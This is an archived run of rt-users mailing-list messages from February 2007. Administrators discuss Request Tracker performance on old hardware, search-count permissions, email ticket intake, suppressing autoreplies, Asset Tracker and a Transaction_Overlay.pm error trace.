> installed it on my home PC, so I can learn the RT. I would like to 
> demonstrate the RT at work, and here is my problem. All I can have as a 
> hardware is an old PC - Pentium II 233MHz, 128MB RAM, 20GB HDD. 
> So I have chosen :
> Slackware 11 with:
> Apache 1.3.37 
>  MySQL 5.0.24 
> sendmail.  8.13.8
> 
> I have installed
> RT 3.6.1
> and 
> mod_perl 1.27,
> 
>         Window manager - fcde, internet browser - seamonkey. It seems it 
> is capable to work, but it "normally" dies after home page and t it never 
> goes any further. Or it is extremely slow (even for me).
>         All I want is to demonstrate basic  RT functionalities. I think 
> there would be no more than 100 of tickets and about five users. And the 
> response time could be about 5 seconds (or at least less  than  user 
> "patience limit" ). I have not done yet  any performance tuning.
> 
> So my question is - is it at all possible to make RT working in this way 
> on such hardware ? (I can not increase RAM - "upgrade of such an old PC is 
> too expensive")

Hello,

I have configured and run 2 different installs of RT... one is on an upgraded 800Mhz P4.  Not sure on the memory, but it is no more than 768MB and may actually be 512MB.    This box also does another instance of Apache, mail handling and some firewalling.  RT on this box is barely tolerable.  I am not sure where the bottleneck is, I suspect it may be memory.

I would drag the other machine into work if possible for the demo...  People seeing a demo and having it drag like booting NT on 8MB of ram will not walk away with a positive experience.

You can also get a somewhat dated 2Ghz machine for under $200 if that is an option.  Or...  If you can scrape up an extra drive, take a desktop someone will not be using for a few days, dual boot it, or just swap the HD (probably the best option if it will be windows only after).



 










From D.Obando at ehapa.de  Tue Feb  6 10:12:14 2007
From: D.Obando at ehapa.de (Obando, David DE - EV)
Date: Tue, 6 Feb 2007 16:12:14 +0100
Subject: [rt-users] RT at a glance
Message-ID: <81D141237A54374E9E79CF14F96612A3B4025F@TXLEVD1-XCH03.ev.egmont.com>

Dear all,

I currently run a v3.4.1 system and am about to replace it by a new
v3.6.3 system (on new hardware). 
I need to make several customizations in the "RT at glance" page (mainly
other searches). When I make these customizations in the WebGUI as root
I guess they are stored in the DB. Is it also possible to make the
customizations in rt files and not in the DB?
Before replacing the old system I need to resync the DB and with every
sync I overwrite my "RT at a glance" customizations.

What is the best way to do it?

Regards,
David


From falcone at bestpractical.com  Tue Feb  6 10:18:41 2007
From: falcone at bestpractical.com (Kevin Falcone)
Date: Tue, 6 Feb 2007 10:18:41 -0500
Subject: [rt-users] RT database update from 2.0.9 to 3.6.1
In-Reply-To: <45C897B4.9050800@switch.ch>
References: <45A60DC0.5010707@switch.ch>
	<837D4363-E6C9-428E-894C-D5A9E7F8FC2B@bestpractical.com>
	<45A660DA.9060302@switch.ch> <45C897B4.9050800@switch.ch>
Message-ID: <2564DE4A-6BFC-4FD5-A2E7-54B3E13C0E6C@bestpractical.com>


On Feb 6, 2007, at 9:59 AM, Thomas Koch wrote:
> Using the rt2-to-rt3 update software I experienced some problems  
> with the mail attachments. All the attachments in the RT 3.6  
> Database are unreadable now!

There was a problem with base64 encoded attachments.
It has been fixed in subversion, r6761

Let me know if that fixes it for you

-kevin


From lmw94002 at hotmail.com  Tue Feb  6 10:58:37 2007
From: lmw94002 at hotmail.com (Mat W)
Date: Tue, 06 Feb 2007 10:58:37 -0500
Subject: [rt-users] Search Results ... Found vs. Shown
Message-ID: <BAY104-F27576A1CEC36CB4B2EC555869F0@phx.gbl>

Scenario... User creates a search that is "Status = Resolved"... Result says 
Found 14 Tickets, but only 1 is shown.  Since the user only has access to 
one queue, he only sees the 1 resolved ticket in that queue.  I understand 
it...

So my question is, what's the easiest way to make the Found # jive w/ the # 
of tickets shown for the search?  Logically I have an idea what to do, just 
not sure where to go poking around.  Plus I'm a bit cautious now that the 
system is in use.

Thanks all for the help.

_________________________________________________________________
Laugh, share and connect with Windows Live Messenger 
http://clk.atdmt.com/MSN/go/msnnkwme0020000001msn/direct/01/?href=http://imagine-msn.com/messenger/launch80/default.aspx?locale=en-us&source=hmtagline



From mike.peachey at jennic.com  Tue Feb  6 11:05:56 2007
From: mike.peachey at jennic.com (Mike Peachey)
Date: Tue, 06 Feb 2007 16:05:56 +0000
Subject: [rt-users] Email ticket requests ...
In-Reply-To: <45C89413.8010200@uiuc.edu>
References: <48873E549537AE4CBC7D0E8B6E96FCFE1B9265@indigo.MorganAsh.com>
	<45C89413.8010200@uiuc.edu>
Message-ID: <45C8A764.3070704@jennic.com>

In order to find out, I would recommend temporarily setting up mail to
deliver to a pop3 mailbox and then using fetchmail (with cronjob if
necessary) to pick mail up from that mailbox.

http://wiki.bestpractical.com/index.cgi?fetchmail

This will allow you to see the mail come into the box to confirm it is
being properly delivered, and then watch fetchmail as it picks the mail
up and pipes it into mailgate.

It just means you can turn it into a two-step process and see which step
the problem occurs in.


John Arends wrote:
> Are you sure sendmail will receive email from outside?
> 
> Nicholas Whitehead wrote:
>> -->
>>
>> I have RT 3.6.3 installed on a Fedora Core 6 box
>>
>>  
>>
>> I have configured it to use Sendmail ?.
>>
>>  
>>
>> All seems to work fine
>>
>>  
>>
>> When tickets are created from within RT, all the emails are sent
>> correctly to requestors, CC, CCadmins etc
>>
>>  
>>
>> I can send a mail from the server (where RT is installed) and get a
>> ticket created OK via echo ?hello? ? mail ?s ?test subject? rt
>>
>>  
>>
>> However, the difficulty starts when trying to request a ticket from
>> outside the RT server (eg from our Exchange email system in the
>> office. The mails seem never to reach the RT system. This obviously is
>> the same when trying to reply from emails back to the ticket ..
>>
>>  
>>
>>  
>>
>> Any help would be appreciated
>>
>>  
>>
>> Thanks in advance
>>
>>  
>>
>>  
>>
>>
>> ------------------------------------------------------------------------
>>
>> _______________________________________________
>> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>>
>> Community help: http://wiki.bestpractical.com
>> Commercial support: sales at bestpractical.com
>>
>>
>> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
>> Buy a copy at http://rtbook.bestpractical.com
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. Buy
> a copy at http://rtbook.bestpractical.com

-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________


From rfh at pipex.net  Tue Feb  6 11:06:46 2007
From: rfh at pipex.net (Roy El-Hames)
Date: Tue, 06 Feb 2007 16:06:46 +0000
Subject: [rt-users] Search Results ... Found vs. Shown
In-Reply-To: <BAY104-F27576A1CEC36CB4B2EC555869F0@phx.gbl>
References: <BAY104-F27576A1CEC36CB4B2EC555869F0@phx.gbl>
Message-ID: <45C8A796.7060201@pipex.net>

This is something I complained/pondered about many times at the past I 
think Jesse said something to the effect that its difficult to perform 
the search and access check at the same time without hammering your sql 
server (jesse put it much better than that), I think an idea is to pull 
the tickets which will be displayed into a hash and do the count on that 
hash , for this you'll need to change the place where the ticket count 
is displayed from Build.html into Result.html or something to that effect ..
Roy

Mat W wrote:
> Scenario... User creates a search that is "Status = Resolved"... 
> Result says Found 14 Tickets, but only 1 is shown.  Since the user 
> only has access to one queue, he only sees the 1 resolved ticket in 
> that queue.  I understand it...
>
> So my question is, what's the easiest way to make the Found # jive w/ 
> the # of tickets shown for the search?  Logically I have an idea what 
> to do, just not sure where to go poking around.  Plus I'm a bit 
> cautious now that the system is in use.
>
> Thanks all for the help.
>
> _________________________________________________________________
> Laugh, share and connect with Windows Live Messenger 
> http://clk.atdmt.com/MSN/go/msnnkwme0020000001msn/direct/01/?href=http://imagine-msn.com/messenger/launch80/default.aspx?locale=en-us&source=hmtagline 
>
>
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
>



From todd at chaka.net  Tue Feb  6 11:11:58 2007
From: todd at chaka.net (Todd Chapman)
Date: Tue, 6 Feb 2007 11:11:58 -0500
Subject: [rt-users] Search Results ... Found vs. Shown
In-Reply-To: <BAY104-F27576A1CEC36CB4B2EC555869F0@phx.gbl>
References: <BAY104-F27576A1CEC36CB4B2EC555869F0@phx.gbl>
Message-ID: <20070206161158.GW11914@erie.mg2.org>

On Tue, Feb 06, 2007 at 10:58:37AM -0500, Mat W wrote:
> Scenario... User creates a search that is "Status = Resolved"... Result 
> says Found 14 Tickets, but only 1 is shown.  Since the user only has access 
> to one queue, he only sees the 1 resolved ticket in that queue.  I 
> understand it...
> 
> So my question is, what's the easiest way to make the Found # jive w/ the # 
> of tickets shown for the search?  Logically I have an idea what to do, just 
> not sure where to go poking around.  Plus I'm a bit cautious now that the 
> system is in use.
> 
> Thanks all for the help.

Mat,

The issue is performance. When RT does a count of tickets
in a search result it counts the rows matching the criteria.
But RT rights are granted on a per ticket basis using
various roles (Owner, Requestor, Cc, AdminCc). To get
an accuract count RT would have to ask if the user is
allowed to see every ticket in the result. On some RT
systems that would be unacceptably slow.

To get a tru count you have to overrid RT::Tickets::Count to
loop through the tickets and see if the users has ShowTicket
right for each one.

-Todd


From tim.l.casada at sherwin.com  Tue Feb  6 09:49:49 2007
From: tim.l.casada at sherwin.com (Tim Casada)
Date: Tue, 06 Feb 2007 09:49:49 -0500
Subject: [rt-users] Email ticket requests ...
In-Reply-To: <48873E549537AE4CBC7D0E8B6E96FCFE1B9265@indigo.MorganAsh.com>
References: <48873E549537AE4CBC7D0E8B6E96FCFE1B9265@indigo.MorganAsh.com>
Message-ID: <45C8958D.1080404@sherwin.com>

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From gmc at metro.cx  Tue Feb  6 12:15:25 2007
From: gmc at metro.cx (Koen Martens)
Date: Tue, 06 Feb 2007 18:15:25 +0100
Subject: [rt-users] Search Results ... Found vs. Shown
In-Reply-To: <20070206161158.GW11914@erie.mg2.org>
References: <BAY104-F27576A1CEC36CB4B2EC555869F0@phx.gbl>
	<20070206161158.GW11914@erie.mg2.org>
Message-ID: <45C8B7AD.2080700@metro.cx>

Todd Chapman wrote:
> The issue is performance. When RT does a count of tickets
> in a search result it counts the rows matching the criteria.
> But RT rights are granted on a per ticket basis using
> various roles (Owner, Requestor, Cc, AdminCc). To get
> an accuract count RT would have to ask if the user is
> allowed to see every ticket in the result. On some RT
> systems that would be unacceptably slow.
> 
> To get a tru count you have to overrid RT::Tickets::Count to
> loop through the tickets and see if the users has ShowTicket
> right for each one.

There is a work-around, which is to limit your SQL statement to
those queues where the user has the OwnTicket permission. In most
cases, this should be adequate.

It was posted on this mailing list a while back, and i found it
looking around the archive for '10 newest unowned tickets'.

Gr,

Koen


From cabal at u.washington.edu  Tue Feb  6 15:27:13 2007
From: cabal at u.washington.edu (John H. Nyhuis)
Date: Tue, 6 Feb 2007 12:27:13 -0800 (PST)
Subject: [rt-users] How do you configure RT 3.4 to not send any email
 response to a specific listy of addresses? 
Message-ID: <Pine.LNX.4.64.0702061223390.8862@homer21.u.washington.edu>

         Greetings,

         We have several scripts that send problem reports to our RT system. When 
RT receives these, we do want it to produce a ticket, but we do not want it to 
send any sort of response mail.  Since the script or daemon has no mechanism to 
recieve mail this response mail just ends up becoming undeliverable.  Does 
anyone have a RT 3.4 configuration that allows you to specify a list of email 
addresses that over-rides the default behavior of sending RT response mail? 
Obviously, I do want RT to send reply mail when it receives a request from a 
real person not specified in the list.

 	Thanks,

John H. Nyhuis
IT Manager
Dept. of Pediatrics
HS RR338A, Box 356320
University of Washington
Desk: (206)-685-3884
cabal at u.washington.edu


From nmetrowsky at digitalglobe.com  Tue Feb  6 18:22:44 2007
From: nmetrowsky at digitalglobe.com (Nick Metrowsky)
Date: Tue, 6 Feb 2007 16:22:44 -0700
Subject: [rt-users] Asset Tracker: Reading Assets
Message-ID: <C1BF1C58F42A304A899E2933C220F48AB62F54@COMAIL02.digitalglobe.com>

Hi Everyone,

 

Anyone know the simplest way to the do following for Asset Tracker
assets:

 

For each asset which is active, print out all fields on the main asset
record. Also, print out the Custom Field Name and Custom Field Value for
each Custom Field that is populated on each asset.

 

Any ideas would be most welcome.

 

Nick

 

Ps I am not sure if at-users is still active, hence the secondary post
into rt-users.

------------------------------------------------------------------------
---------

Nick Metrowsky

Consulting System Administrator

303-684-4785 Office

303-684-4100 Fax

nmetrowsky at digitalglobe.com <mailto:nmetrowsky at digitalglobe.com> 

DigitalGlobe (r), An Imaging and Information Company

http://www.digitalglobe.com <http://www.digitalglobe.com> 

------------------------------------------------------------------------
---------

 

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From ryan.hardester at ci.tracy.ca.us  Tue Feb  6 18:55:52 2007
From: ryan.hardester at ci.tracy.ca.us (Ryan Hardester)
Date: Tue, 6 Feb 2007 15:55:52 -0800
Subject: [rt-users] Problem with X Highest Owned link
Message-ID: <C7C9E0533C7E6A49AB4586C392C9650001F2C14C@mail1.COT.PVT>

I just upgraded from RT 3.6.1 to 3.6.3.
Everything went fine, but now when I Click on the "X Highest Owned" title link the results are locked at 10 per page. If I look at the system search it is set to 50, my personal settings are set to 50, but this link will always return 10. I have checked with other users and they get 50 per page so it is apparently just me. Any suggestions for where I can look to try and fix this for my user?

--Ryan


From ruslan.zakirov at gmail.com  Tue Feb  6 19:09:18 2007
From: ruslan.zakirov at gmail.com (Ruslan Zakirov)
Date: Wed, 7 Feb 2007 03:09:18 +0300
Subject: [rt-users] Problem with X Highest Owned link
In-Reply-To: <C7C9E0533C7E6A49AB4586C392C9650001F2C14C@mail1.COT.PVT>
References: <C7C9E0533C7E6A49AB4586C392C9650001F2C14C@mail1.COT.PVT>
Message-ID: <589c94400702061609v2c826736xf32f0267a31afb7@mail.gmail.com>

knonw issue of 3.6.3, I will fix it in a few days, but I don't mind if
somebody will send a patch for it.

On 2/7/07, Ryan Hardester <ryan.hardester at ci.tracy.ca.us> wrote:
> I just upgraded from RT 3.6.1 to 3.6.3.
> Everything went fine, but now when I Click on the "X Highest Owned" title link the results are locked at 10 per page. If I look at the system search it is set to 50, my personal settings are set to 50, but this link will always return 10. I have checked with other users and they get 50 per page so it is apparently just me. Any suggestions for where I can look to try and fix this for my user?
>
> --Ryan
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>


-- 
Best regards, Ruslan.


From isd602 at co.santa-cruz.ca.us  Tue Feb  6 19:28:01 2007
From: isd602 at co.santa-cruz.ca.us (Roger Mastrude)
Date: Tue, 6 Feb 2007 16:28:01 -0800
Subject: [rt-users] RTx Statistics version 1.08
Message-ID: <FDBAA6E961D4A64FBDB116511F4C1D691004A801@sczex01.co.santa-cruz.ca.us>

Hi! I'd like a copy of your improved package too. 

I tried to introduce the fix you mentioned in your post dated July 18,
2006. My copy of index.html doesn't have the end of table around line
146. It's around line 83, and there is a </&> between </table> and <hr>.


We're experiencing the statistics bug I reported to rt-users on January
26th, 2007 and Alvin Boey reported on February 2nd. Does the TitleBox
change you mentioned relate to this? 


From jesse at bestpractical.com  Tue Feb  6 20:56:46 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Tue, 6 Feb 2007 20:56:46 -0500
Subject: [rt-users] How do you configure RT 3.4 to not send any email
	response to a specific listy of addresses?
In-Reply-To: <Pine.LNX.4.64.0702061223390.8862@homer21.u.washington.edu>
References: <Pine.LNX.4.64.0702061223390.8862@homer21.u.washington.edu>
Message-ID: <20070207015646.GA25008@bestpractical.com>




On Tue, Feb 06, 2007 at 12:27:13PM -0800, John H. Nyhuis wrote:
>         Greetings,
> 
>         We have several scripts that send problem reports to our RT system. 
>         When RT receives these, we do want it to produce a ticket, but we do not 
> want it to send any sort of response mail.  Since the script or daemon has 
> no mechanism to recieve mail this response mail just ends up becoming 
> undeliverable.  Does anyone have a RT 3.4 configuration that allows you to 
> specify a list of email addresses that over-rides the default behavior of 
> sending RT response mail? Obviously, I do want RT to send reply mail when 
> it receives a request from a real person not specified in the list.


Update the user created by RT for a given script's return address. Leave
the "Username" as the user's email address, but make their email address
blank.

> 
> 	Thanks,
> 
> John H. Nyhuis
> IT Manager
> Dept. of Pediatrics
> HS RR338A, Box 356320
> University of Washington
> Desk: (206)-685-3884
> cabal at u.washington.edu
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 

-- 


From taan at cryologic.com  Wed Feb  7 01:07:36 2007
From: taan at cryologic.com (Taan Lindemans)
Date: Wed, 07 Feb 2007 17:07:36 +1100
Subject: [rt-users] Some thoughts on the Quick Search list
In-Reply-To: <20070131003056.GZ25008@bestpractical.com>
References: <45BFCF07.4060800@cryologic.com>
	<20070131003056.GZ25008@bestpractical.com>
Message-ID: <45C96CA8.8060309@cryologic.com>

Jesse Vincent wrote:
> 
> On Wed, Jan 31, 2007 at 10:04:39AM +1100, Taan Lindemans wrote:
>> Does anybody else think it would be useful if the Quick Search list 
>> could be modified to include saved searches on a per user basis?
> 
> I think that this might want to be another portlet, but I'd love to see
> it happen. 

Attached is a basic solution to display summaries of Saved Searches in
the Quick Search list. Any Saved Searches added to your "RT at a glance
- Summary" preferences will be added to the bottom of the list. A new
title bar separates them from the queue summaries.

This was achieved by placing a butchered version of "QueueSummary" in
local/html/Elements

A modified MyRT is also included to turn off the actual Saved Search
Ticket list in the Summary section of the homepage.

This was modified on RT-3.6.0 but seems to work on 3.6.3, however none 
of the changes to MyRT or ShowSearch (from where a lot of code was cut) 
in 3.6.3 have been implemented.

It needs a lot of tidying up, and a new portlet would probably still be 
more desirable.

Taan
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From theillien at yahoo.com  Wed Feb  7 02:30:35 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Wed, 07 Feb 2007 02:30:35 -0500
Subject: [rt-users] Ticket Errors
Message-ID: <45C9801B.7060704@yahoo.com>

I think I've asked about this before and I'm fairly certain I already know the
answer.  However, I'm not certain it should be happening.

We keep getting the error "Can't call method "Name" on an undefined value..."
If I recall correctly this is a result of eliminating via Shredder a user which
was at one point attatched to a ticket.  The only problem with this is that the
only users I remove are those that are created when we receive spam.

So is this the only explanation?  More and more of these tickets keep appearing
but I can't figure out how all of these users are disappearing.

Thanks
Mathew


From a.fattorini at abanet.it  Wed Feb  7 02:46:48 2007
From: a.fattorini at abanet.it (Alessio Fattorini)
Date: Wed, 07 Feb 2007 08:46:48 +0100
Subject: [rt-users] SelfService Display.html bug
In-Reply-To: <20070118185837.GC2788@bestpractical.com>
References: <1169142644.6907.36.camel@localhost.localdomain>
	<20070118185837.GC2788@bestpractical.com>
Message-ID: <1170834408.6535.2.camel@localhost.localdomain>

Il giorno mar, 06/02/2007 alle 16.33 -0500, Michael Lederman ha
scritto: 

> I just installed 3.6.3 and I?m encountering this same bug.  I never
> saw any follow up on the lists, did you find a solution to this?
> 
>  
> 
> Thanks,
> 
> Michael
> 
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From theillien at yahoo.com  Wed Feb  7 03:00:00 2007
From: theillien at yahoo.com (Mathew Snyder)
Date: Wed, 07 Feb 2007 03:00:00 -0500
Subject: [rt-users] Ticket Errors
In-Reply-To: <45C9801B.7060704@yahoo.com>
References: <45C9801B.7060704@yahoo.com>
Message-ID: <45C98700.8040100@yahoo.com>

I'd like to add to this.  I've looked at the database and found that there are
63 transactions attached to this ticket.  There are also no transactions for
which there isn't a user.  I've looked up the names on each user id in the
transactions table and found that they correspond to someone that would likely
have had a part in the ticket.

There are as many user id entries as there are transactions.  What I mean is,
there are multiple entries for some ids but all transactions have a user id
attached to it.  This tells me that the transactions aren't corrupted by a
missing user that possibly got Shredded out of the database.

As I've said before, this isn't the first time we've seen this so I'm beginning
to think this is a bug of some sort.

The full error follows.

error:   	Can't call method "Name" on an undefined value at
/usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.
context:  	
...  	
686:  	AddWatcher => sub {
687:  	my $self = shift;
688:  	my $principal = RT::Principal->new($self->CurrentUser);
689:  	$principal->Load($self->NewValue);
690:  	return $self->loc( "[_1] [_2] added", $self->Field,
$principal->Object->Name);
691:  	},
692:  	DelWatcher => sub {
693:  	my $self = shift;
694:  	my $principal = RT::Principal->new($self->CurrentUser);
...  	
code stack:  	/usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:690
/usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm:602
/usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction:54
/usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory:102
/usr/local/rt-3.6.1/share/html/Ticket/Display.html:63
/usr/local/rt-3.6.1/share/html/autohandler:279



raw error
Can't call method "Name" on an undefined value at
/usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line 690.


Trace begun at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Exceptions.pm line 129
HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "Name" on an
undefined value at /usr/local/rt-3.6.1//lib/RT/Transaction_Overlay.pm line
690.^J') called at /usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 690
RT::Transaction::__ANON__('RT::Transaction=HASH(0xc706568)') called at
/usr/local/rt-3.6.1/lib/RT/Transaction_Overlay.pm line 602
RT::Transaction::BriefDescription('RT::Transaction=HASH(0xc706568)') called at
/usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowTransaction line 54
HTML::Mason::Commands::__ANON__('Attachments',
'RT::Attachments=HASH(0xc99b5f0)', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
'UpdatePath', '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction',
0) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf6c9a0)',
'Attachments', 'RT::Attachments=HASH(0xc99b5f0)', 'Ticket',
'RT::Ticket=HASH(0xc54ce28)', 'AttachmentContent',
'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef, 'Collapsed', undef,
'Tickets', undef, 'AttachPath', '/Ticket/Attachment', 'UpdatePath',
'/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Transaction',
'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef, 'Collapsed', undef,
'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments', 'ARRAY(0xc59f11c)',
'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction', 0) called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
HTML::Mason::Request::comp(undef, undef, 'Attachments',
'RT::Attachments=HASH(0xc99b5f0)', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)', 'ShowHeaders', undef,
'Collapsed', undef, 'Tickets', undef, 'AttachPath', '/Ticket/Attachment',
'UpdatePath', '/Ticket/Update.html', 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
'Transaction', 'RT::Transaction=HASH(0xc706568)', 'ShowHeaders', undef,
'Collapsed', undef, 'RowNum', 23, 'ShowTitleBarCommands', 1, 'Attachments',
'ARRAY(0xc59f11c)', 'AttachmentContent', 'HASH(0xc6a31d4)', 'LastTransaction',
0) called at /usr/local/rt-3.6.1/share/html/Ticket/Elements/ShowHistory line 102
HTML::Mason::Commands::__ANON__('Ticket', 'RT::Ticket=HASH(0xc54ce28)',
'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef, 'Attachments',
'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
'RT::Attachments=HASH(0xc98d840)') called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbf63114)',
'Ticket', 'RT::Ticket=HASH(0xc54ce28)', 'Tickets', undef, 'Collapsed', undef,
'ShowHeaders', undef, 'Attachments', 'RT::Attachments=HASH(0xc99b5f0)',
'AttachmentContent', 'RT::Attachments=HASH(0xc98d840)') called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
HTML::Mason::Request::comp(undef, undef, 'Ticket', 'RT::Ticket=HASH(0xc54ce28)',
'Tickets', undef, 'Collapsed', undef, 'ShowHeaders', undef, 'Attachments',
'RT::Attachments=HASH(0xc99b5f0)', 'AttachmentContent',
'RT::Attachments=HASH(0xc98d840)') called at
/usr/local/rt-3.6.1/share/html/Ticket/Display.html line 63
HTML::Mason::Commands::__ANON__('id', 55767, 'id', 55767) called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbbdd85c)',
'id', 55767, 'id', 55767) called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1251
eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
HTML::Mason::Request::comp(undef, undef, 'id', 55767, 'id', 55767) called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 914
HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)',
'id', 55767) called at /usr/local/rt-3.6.1/share/html/autohandler line 279
HTML::Mason::Commands::__ANON__('id', 55767) called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Component.pm line 135
HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0xbb4ad10)',
'id', 55767) called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm
line 1246
eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 1245
HTML::Mason::Request::comp(undef, undef, undef, 'id', 55767) called at
/usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 459
eval {...} at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/Request.pm line 411
HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm line 168
HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0xc99be60)')
called at /usr/lib/perl5/vendor_perl/5.8.7/HTML/Mason/ApacheHandler.pm line 826
HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0xb0c1e5c)',
'Apache2::RequestRec=SCALAR(0xc98d78c)') called at
/usr/local/rt-3.6.1/bin/webmux.pl line 123
eval {...} at /usr/local/rt-3.6.1/bin/webmux.pl line 123
RT::Mason::handler('Apache2::RequestRec=SCALAR(0xc98d78c)') called at -e line 0
eval {...} at -e line 0

If we don't protect the freedom of speech, how will we know who the assholes are?
http://theillien.blogspot.com


Mathew Snyder wrote:
> I think I've asked about this before and I'm fairly certain I already know the
> answer.  However, I'm not certain it should be happening.
> 
> We keep getting the error "Can't call method "Name" on an undefined value..."
> If I recall correctly this is a result of eliminating via Shredder a user which
> was at one point attatched to a ticket.  The only problem with this is that the
> only users I remove are those that are created when we receive spam.
> 
> So is this the only explanation?  More and more of these tickets keep appearing
> but I can't figure out how all of these users are disappearing.
> 
> Thanks
> Mathew
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
> 


From mike.peachey at jennic.com  Wed Feb  7 04:20:23 2007
From: mike.peachey at jennic.com (Mike Peachey)
Date: Wed, 07 Feb 2007 09:20:23 +0000
Subject: [rt-users] Asset Tracker
In-Reply-To: <C1BF1C58F42A304A899E2933C220F48AB62F54@COMAIL02.digitalglobe.com>
References: <C1BF1C58F42A304A899E2933C220F48AB62F54@COMAIL02.digitalglobe.com>
Message-ID: <45C999D7.3050707@jennic.com>

I have recently been looking into Asset Tracker as an alternative to an
asset tracker I am half way through developing, but cannot find an
active representative website, nor a mailing list for it..

Can anyone shed any light on the current status?

I may have missed something, but searching for previous information on
the rt lists hasn't been fruitful.

Nick Metrowsky wrote:
> Hi Everyone,
> Anyone know the simplest way to the do following for Asset Tracker assets:

-- 
Kind Regards,

___________________________________________________

Mike Peachey, IT
Tel: +44 (0) 114 281 2655
Fax: +44 (0) 114 281 2951
Jennic Ltd, Furnival Street, Sheffield, S1 4QT,  UK
http://www.jennic.com
Confidential
___________________________________________________


From torsten.brumm at googlemail.com  Wed Feb  7 05:27:21 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Wed, 7 Feb 2007 11:27:21 +0100
Subject: [rt-users] RT CLI and LineBreaks
